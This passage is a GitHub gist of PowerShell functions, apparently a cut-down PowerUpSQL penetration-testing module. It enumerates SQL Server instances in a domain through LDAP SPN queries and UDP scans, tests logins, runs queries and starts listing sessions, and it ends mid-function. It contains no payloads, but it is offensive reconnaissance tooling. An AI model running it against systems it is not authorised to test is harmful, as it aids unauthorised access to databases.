Skip to content

Instantly share code, notes, and snippets.

@nullbind
Created October 26, 2020 21:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save nullbind/75a8fa02ba8d0a6f028cfb21c300e1e2 to your computer and use it in GitHub Desktop.
Save nullbind/75a8fa02ba8d0a6f028cfb21c300e1e2 to your computer and use it in GitHub Desktop.
MiniPowerUpSQL.psm1
function Get-DomainObject
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'Domain user to authenticate with domain\user.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain password to authenticate with domain\user.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
[string]$DomainController,
[Parameter(Mandatory = $false,
HelpMessage = 'LDAP Filter.')]
[string]$LdapFilter = '',
[Parameter(Mandatory = $false,
HelpMessage = 'LDAP path.')]
[string]$LdapPath,
[Parameter(Mandatory = $false,
HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')]
[int]$Limit = 1000,
[Parameter(Mandatory = $false,
HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')]
[ValidateSet('Subtree','OneLevel','Base')]
[string]$SearchScope = 'Subtree'
)
Begin
{
# Create PS Credential object
if($Username -and $Password)
{
$secpass = ConvertTo-SecureString $Password -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass)
}
# Create Create the connection to LDAP
if ($DomainController)
{
# Verify credentials were provided
if(-not $Username){
Write-Output "A username and password must be provided when setting a specific domain controller."
Break
}
# Test credentials and grab domain
try {
$objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname
}catch{
Write-Output "Authentication failed."
}
# add ldap path
if($LdapPath)
{
$LdapPath = '/'+$LdapPath+','+$objDomain
$objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password
}
else
{
$objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password
}
$objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
}
else
{
$objDomain = ([ADSI]'').distinguishedName
# add ldap path
if($LdapPath)
{
$LdapPath = $LdapPath+','+$objDomain
$objDomainPath = [ADSI]"LDAP://$LdapPath"
}
else
{
$objDomainPath = [ADSI]''
}
$objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
}
# Setup LDAP filter
$objSearcher.PageSize = $Limit
$objSearcher.Filter = $LdapFilter
$objSearcher.SearchScope = 'Subtree'
}
Process
{
try
{
# Return object
$objSearcher.FindAll() | ForEach-Object -Process {
$_
}
}
catch
{
"Error was $_"
$line = $_.InvocationInfo.ScriptLineNumber
"Error was in Line $line"
}
}
End
{
}
}
function Get-DomainSpn
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'Domain user to authenticate with domain\user.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain password to authenticate with domain\user.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
[string]$DomainController,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Computer name to filter for.')]
[string]$ComputerName,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Domain account to filter for.')]
[string]$DomainAccount,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SPN service code.')]
[string]$SpnService,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
if(-not $SuppressVerbose)
{
Write-Verbose -Message 'Getting domain SPNs...'
}
# Setup table to store results
$TableDomainSpn = New-Object -TypeName System.Data.DataTable
$null = $TableDomainSpn.Columns.Add('UserSid')
$null = $TableDomainSpn.Columns.Add('User')
$null = $TableDomainSpn.Columns.Add('UserCn')
$null = $TableDomainSpn.Columns.Add('Service')
$null = $TableDomainSpn.Columns.Add('ComputerName')
$null = $TableDomainSpn.Columns.Add('Spn')
$null = $TableDomainSpn.Columns.Add('LastLogon')
$null = $TableDomainSpn.Columns.Add('Description')
$TableDomainSpn.Clear()
}
Process
{
try
{
# Setup LDAP filter
$SpnFilter = ''
if($DomainAccount)
{
$SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)"
}
if($ComputerName)
{
$ComputerSearch = "$ComputerName`$"
$SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)"
}
# Get results
$SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential
# Parse results
$SpnResults | ForEach-Object -Process {
[string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ')
[string]$SidString = $SidBytes -replace ' ', ''
#$Spn = $_.properties.serviceprincipalname[0].split(',')
#foreach ($item in $Spn)
foreach ($item in $($_.properties.serviceprincipalname))
{
# Parse SPNs
$SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0]
$SpnService = $item.split('/')[0]
# Parse last logon
if ($_.properties.lastlogon)
{
$LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g')
}
else
{
$LastLogon = ''
}
# Add results to table
$null = $TableDomainSpn.Rows.Add(
[string]$SidString,
[string]$_.properties.samaccountname,
[string]$_.properties.cn,
[string]$SpnService,
[string]$SpnServer,
[string]$item,
$LastLogon,
[string]$_.properties.description
)
}
}
}
catch
{
"Error was $_"
$line = $_.InvocationInfo.ScriptLineNumber
"Error was in Line $line"
}
}
End
{
# Check for results
if ($TableDomainSpn.Rows.Count -gt 0)
{
$TableDomainSpnCount = $TableDomainSpn.Rows.Count
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$TableDomainSpnCount SPNs found on servers that matched search criteria."
}
Return $TableDomainSpn
}
else
{
Write-Verbose -Message '0 SPNs found.'
}
}
}
function Get-SQLInstanceScanUDP
{
<#
.SYNOPSIS
Returns a list of SQL Servers resulting from a UDP discovery scan of provided computers.
.PARAMETER ComputerName
Computer name or IP address to enumerate SQL Instance from.
.PARAMETER UDPTimeOut
Timeout in seconds. Longer timeout = more accurate.
.EXAMPLE
PS C:\> Get-SQLInstanceScanUDP -Verbose -ComputerName SQLServer1.domain.com
VERBOSE: - SQLServer1.domain.com - UDP Scan Start.
VERBOSE: - SQLServer1.domain.com - UDP Scan Complete.
ComputerName : SQLServer1.domain.com
Instance : SQLServer1.domain.com\Express
InstanceName : Express
ServerIP : 10.10.10.30
TCPPort : 51663
BaseVersion : 11.0.2100.60
IsClustered : No
ComputerName : SQLServer1.domain.com
Instance : SQLServer1.domain.com\Standard
InstanceName : Standard
ServerIP : 10.10.10.30
TCPPort : 51861
BaseVersion : 11.0.2100.60
IsClustered : No
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLInstanceScanUDP -Verbose
VERBOSE: - SQLServer1.domain.com - UDP Scan Start.
VERBOSE: - SQLServer1.domain.com - UDP Scan Complete.
ComputerName : SQLServer1.domain.com
Instance : SQLServer1.domain.com\Express
InstanceName : Express
ServerIP : 10.10.10.30
TCPPort : 51663
BaseVersion : 11.0.2100.60
IsClustered : No
ComputerName : SQLServer1.domain.com
Instance : SQLServer1.domain.com\Standard
InstanceName : Standard
ServerIP : 10.10.10.30
TCPPort : 51861
BaseVersion : 11.0.2100.60
IsClustered : No
[TRUNCATED]
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $true,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Computer name or IP address to enumerate SQL Instance from.')]
[string]$ComputerName,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Timeout in seconds. Longer timeout = more accurate.')]
[int]$UDPTimeOut = 2,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Setup data table for results
$TableResults = New-Object -TypeName system.Data.DataTable -ArgumentList 'Table'
$null = $TableResults.columns.add('ComputerName')
$null = $TableResults.columns.add('Instance')
$null = $TableResults.columns.add('InstanceName')
$null = $TableResults.columns.add('ServerIP')
$null = $TableResults.columns.add('TCPPort')
$null = $TableResults.columns.add('BaseVersion')
$null = $TableResults.columns.add('IsClustered')
}
Process
{
if(-not $SuppressVerbose)
{
Write-Verbose -Message " - $ComputerName - UDP Scan Start."
}
# Verify server name isn't empty
if ($ComputerName -ne '')
{
# Try to enumerate SQL Server instances from remote system
try
{
# Resolve IP
$IPAddress = [System.Net.Dns]::GetHostAddresses($ComputerName)
# Create UDP client object
$UDPClient = New-Object -TypeName System.Net.Sockets.Udpclient
# Attempt to connect to system
$UDPTimeOutMilsec = $UDPTimeOut * 1000
$UDPClient.client.ReceiveTimeout = $UDPTimeOutMilsec
$UDPClient.Connect($ComputerName,0x59a)
$UDPPacket = 0x03
# Send request to system
$UDPEndpoint = New-Object -TypeName System.Net.Ipendpoint -ArgumentList ([System.Net.Ipaddress]::Any, 0)
$UDPClient.Client.Blocking = $true
[void]$UDPClient.Send($UDPPacket,$UDPPacket.Length)
# Process response from system
$BytesRecived = $UDPClient.Receive([ref]$UDPEndpoint)
$Response = [System.Text.Encoding]::ASCII.GetString($BytesRecived).split(';')
$values = @{}
for($i = 0; $i -le $Response.length; $i++)
{
if(![string]::IsNullOrEmpty($Response[$i]))
{
$values.Add(($Response[$i].ToLower() -replace '[\W]', ''),$Response[$i+1])
}
else
{
if(![string]::IsNullOrEmpty($values.'tcp'))
{
if(-not $SuppressVerbose)
{
$DiscoveredInstance = "$ComputerName\"+$values.'instancename'
Write-Verbose -Message "$ComputerName - Found: $DiscoveredInstance"
}
# Add SQL Server instance info to results table
$null = $TableResults.rows.Add(
[string]$ComputerName,
[string]"$ComputerName\"+$values.'instancename',
[string]$values.'instancename',
[string]$IPAddress,
[string]$values.'tcp',
[string]$values.'version',
[string]$values.'isclustered')
$values = @{}
}
}
}
# Close connection
$UDPClient.Close()
}
catch
{
#"Error was $_"
#$line = $_.InvocationInfo.ScriptLineNumber
#"Error was in Line $line"
# Close connection
# $UDPClient.Close()
}
}
if(-not $SuppressVerbose)
{
Write-Verbose -Message " - $ComputerName - UDP Scan Complete."
}
}
End
{
# Return Results
$TableResults
}
}
Function Get-SQLInstanceDomain
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'Domain user to authenticate with domain\user.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain password to authenticate with domain\user.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
[string]$DomainController,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Computer name to filter for.')]
[string]$ComputerName,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Domain account to filter for.')]
[string]$DomainAccount,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')]
[switch]$CheckMgmt,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Preforms a DNS lookup on the instance.')]
[switch]$IncludeIP,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')]
[int]$UDPTimeOut = 3
)
Begin
{
# Table for SPN output
$TblSQLServerSpns = New-Object -TypeName System.Data.DataTable
$null = $TblSQLServerSpns.Columns.Add('ComputerName')
$null = $TblSQLServerSpns.Columns.Add('Instance')
$null = $TblSQLServerSpns.Columns.Add('DomainAccountSid')
$null = $TblSQLServerSpns.Columns.Add('DomainAccount')
$null = $TblSQLServerSpns.Columns.Add('DomainAccountCn')
$null = $TblSQLServerSpns.Columns.Add('Service')
$null = $TblSQLServerSpns.Columns.Add('Spn')
$null = $TblSQLServerSpns.Columns.Add('LastLogon')
$null = $TblSQLServerSpns.Columns.Add('Description')
if($IncludeIP)
{
$null = $TblSQLServerSpns.Columns.Add('IPAddress')
}
# Table for UDP scan results of management servers
}
Process
{
# Get list of SPNs for SQL Servers
Write-Verbose -Message 'Grabbing SPNs from the domain for SQL Servers (MSSQL*)...'
$TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | Where-Object -FilterScript {
$_.service -like 'MSSQL*'
}
Write-Verbose -Message 'Parsing SQL Server instances from SPNs...'
# Add column containing sql server instance
$TblSQLServers |
ForEach-Object -Process {
# Parse SQL Server instance
$Spn = $_.Spn
$Instance = $Spn.split('/')[1].split(':')[1]
# Check if the instance is a number and use the relevent delim
$Value = 0
if([int32]::TryParse($Instance,[ref]$Value))
{
$SpnServerInstance = $Spn -replace ':', ','
}
else
{
$SpnServerInstance = $Spn -replace ':', '\'
}
$SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', ''
$TableRow = @([string]$_.ComputerName,
[string]$SpnServerInstance,
$_.UserSid,
[string]$_.User,
[string]$_.Usercn,
[string]$_.Service,
[string]$_.Spn,
$_.LastLogon,
[string]$_.Description)
if($IncludeIP)
{
try
{
$IPAddress = [Net.DNS]::GetHostAddresses([String]$_.ComputerName).IPAddressToString
if($IPAddress -is [Object[]])
{
$IPAddress = $IPAddress -join ", "
}
}
catch
{
$IPAddress = "0.0.0.0"
}
$TableRow += $IPAddress
}
# Add SQL Server spn to table
$null = $TblSQLServerSpns.Rows.Add($TableRow)
}
# Enumerate SQL Server instances from management servers
if($CheckMgmt)
{
Write-Verbose -Message 'Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...'
$TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose |
Where-Object -FilterScript {
$_.ComputerName -like '*.*'
} |
Select-Object -Property ComputerName -Unique |
Sort-Object -Property ComputerName
Write-Verbose -Message 'Performing a UDP scan of management servers to obtain managed SQL Server instances...'
$TblMgmtSQLServers = $TblMgmtServers |
Select-Object -Property ComputerName -Unique |
Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut
}
}
End
{
# Return data
if($CheckMgmt)
{
Write-Verbose -Message 'Parsing SQL Server instances from the UDP scan...'
$Tbl1 = $TblMgmtSQLServers |
Select-Object -Property ComputerName, Instance |
Sort-Object -Property ComputerName, Instance
$Tbl2 = $TblSQLServerSpns |
Select-Object -Property ComputerName, Instance |
Sort-Object -Property ComputerName, Instance
$Tbl3 = $Tbl1 + $Tbl2
$InstanceCount = $Tbl3.rows.count
Write-Verbose -Message "$InstanceCount instances were found."
$Tbl3
}
else
{
$InstanceCount = $TblSQLServerSpns.rows.count
Write-Verbose -Message "$InstanceCount instances were found."
$TblSQLServerSpns
}
}
}
Function Get-SQLConnectionObject
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Change appname.')]
[string]$AppName = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Change workstation name.')]
[string]$WorkstationId = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Use an encrypted connection.')]
[ValidateSet("Yes","No","")]
[string]$Encrypt = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Trust the certificate of the remote server.')]
[ValidateSet("Yes","No","")]
[string]$TrustServerCert = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut = 1
)
Begin
{
if($DAC)
{
$DacConn = 'ADMIN:'
}
else
{
$DacConn = ''
}
if(-not $Database)
{
$Database = 'Master'
}
if($AppName){
$AppNameString = ";Application Name=`"$AppName`""
}else{
$AppNameString = ""
}
if($WorkstationId){
$WorkstationString = ";Workstation Id=`"$WorkstationId`""
}else{
$WorkstationString = ""
}
if($Encrypt){
$EncryptString = ";Encrypt=Yes"
}else{
$EncryptString = ""
}
if($TrustServerCert){
$TrustCertString = ";TrustServerCertificate=Yes"
}else{
$TrustCertString = ""
}
}
Process
{
# Check for instance
if ( -not $Instance)
{
$Instance = $env:COMPUTERNAME
}
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
if(-not $Username){
# Set authentication type
$AuthenticationType = "Current Windows Credentials"
# Set connection string
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1$AppNameString$EncryptString$TrustCertString$WorkstationString"
}
if ($username -like "*\*"){
$AuthenticationType = "Provided Windows Credentials"
# Setup connection string
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString"
}
if (($username) -and ($username -notlike "*\*")){
# Set authentication type
$AuthenticationType = "Provided SQL Login"
# Setup connection string
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString"
}
return $Connection
}
End
{
}
}
Function Get-SQLQuery
{
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose,
[Parameter(Mandatory = $false,
HelpMessage = 'Change application name in connection string.')]
[string]$AppName = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Change hostname in connection string.')]
[string]$WorkstationId = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Use an encrypted connection.')]
[ValidateSet("Yes","No","")]
[string]$Encrypt = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Trust the certificate of the remote server.')]
[ValidateSet("Yes","No","")]
[string]$TrustServerCert = "",
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin
{
# Setup up data tables for output
$TblQueryResults = New-Object -TypeName System.Data.DataTable
}
Process
{
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert
}
else
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert
}
# Parse SQL Server instance name
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
# Check for query
if($Query)
{
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Setup SQL query
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
# Grab results
$Results = $Command.ExecuteReader()
# Load results into data table
$TblQueryResults.Load($Results)
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed - for detail error use Get-SQLConnectionTest
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
if($ReturnError)
{
$ErrorMessage = $_.Exception.Message
#Write-Verbose " Error: $ErrorMessage"
}
}
}
else
{
Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
Break
}
}
End
{
# Return Results
if($ReturnError)
{
$ErrorMessage
}
else
{
$TblQueryResults
}
}
}
Function Get-ComputerNameFromInstance
{
<#
.SYNOPSIS
Parses computer name from a provided instance.
.PARAMETER Instance
SQL Server instance to parse.
.EXAMPLE
PS C:\> Get-ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014
SQLServer1
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance.')]
[string]$Instance
)
# Parse ComputerName from provided instance
If ($Instance)
{
$ComputerName = $Instance.split('\')[0].split(',')[0]
}
else
{
$ComputerName = $env:COMPUTERNAME
}
Return $ComputerName
}
Function Get-SQLConnectionTest
{
<#
.SYNOPSIS
Tests if the current Windows account or provided SQL Server login can log into an SQL Server.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER DAC
Connect using Dedicated Admin Connection.
.PARAMETER Database
Default database to connect to.
.PARAMETER TimeOut
Connection time out.
.PARAMETER SuppressVerbose
Suppress verbose errors. Used when function is wrapped.
.EXAMPLE
PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress"
.EXAMPLE
PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433"
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'IP Address of SQL Server.')]
[string]$IPAddress,
[Parameter(Mandatory = $false,
HelpMessage = 'IP Address Range In CIDR Format to Audit.')]
[string]$IPRange,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Setup data table for output
$TblResults = New-Object -TypeName System.Data.DataTable
$null = $TblResults.Columns.Add('ComputerName')
$null = $TblResults.Columns.Add('Instance')
$null = $TblResults.Columns.Add('Status')
}
Process
{
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Split Demarkation Start ^
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if($IPRange -and $IPAddress)
{
if ($IPAddress.Contains(","))
{
$ContainsValid = $false
foreach ($IP in $IPAddress.Split(","))
{
if($(Test-Subnet -cidr $IPRange -ip $IP))
{
$ContainsValid = $true
}
}
if (-not $ContainsValid)
{
Write-Warning "Skipping $ComputerName ($IPAddress)"
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Out of Scope')
return
}
}
if(-not $(Test-Subnet -cidr $IPRange -ip $IPAddress))
{
Write-Warning "Skipping $ComputerName ($IPAddress)"
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Out of Scope')
return
}
Write-Verbose "$ComputerName ($IPAddress)"
}
# Setup DAC string
if($DAC)
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
}
else
{
# Create connection object
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
}
# Attempt connection
try
{
# Open connection
$Connection.Open()
if(-not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
# Close connection
$Connection.Close()
# Dispose connection
$Connection.Dispose()
}
catch
{
# Connection failed
if(-not $SuppressVerbose)
{
$ErrorMessage = $_.Exception.Message
Write-Verbose -Message "$Instance : Connection Failed."
Write-Verbose -Message " Error: $ErrorMessage"
}
# Add record
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
}
}
End
{
# Return Results
$TblResults
}
}
Function Get-SQLSession
{
<#
.SYNOPSIS
Returns active sessions from target SQL Servers. Sysadmin privileges is required to view all sessions.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.EXAMPLE
PS C:\> Get-SQLSession -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1
ComputerName : SQLServer1
Instance : SQLServer1\STANDARDDEV2014
PrincipalSid : 010500000000000515000000F3864312345716CC636051C017100000
PrincipalName : Domain\MyUser
OriginalPrincipalName : Domain\MyUser
SessionId : 51
SessionStartTime : 06/24/2016 09:26:21
SessionLoginTime : 06/24/2016 09:26:21
SessionStatus : running
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLSession -Verbose
.EXAMPLE
PS C:\> (Get-SQLSession -Instance SQLServer1\STANDARDDEV2014).count
48
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'PrincipalName.')]
[string]$PrincipalName,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Table for output
$TblSessions = New-Object -TypeName System.Data.DataTable
$null = $TblSessions.Columns.Add('ComputerName')
$null = $TblSessions.Columns.Add('Instance')
$null = $TblSessions.Columns.Add('PrincipalSid')
$null = $TblSessions.Columns.Add('PrincipalName')
$null = $TblSessions.Columns.Add('OriginalPrincipalName')
$null = $TblSessions.Columns.Add('SessionId')
$null = $TblSessions.Columns.Add('SessionStartTime')
$null = $TblSessions.Columns.Add('SessionLoginTime')
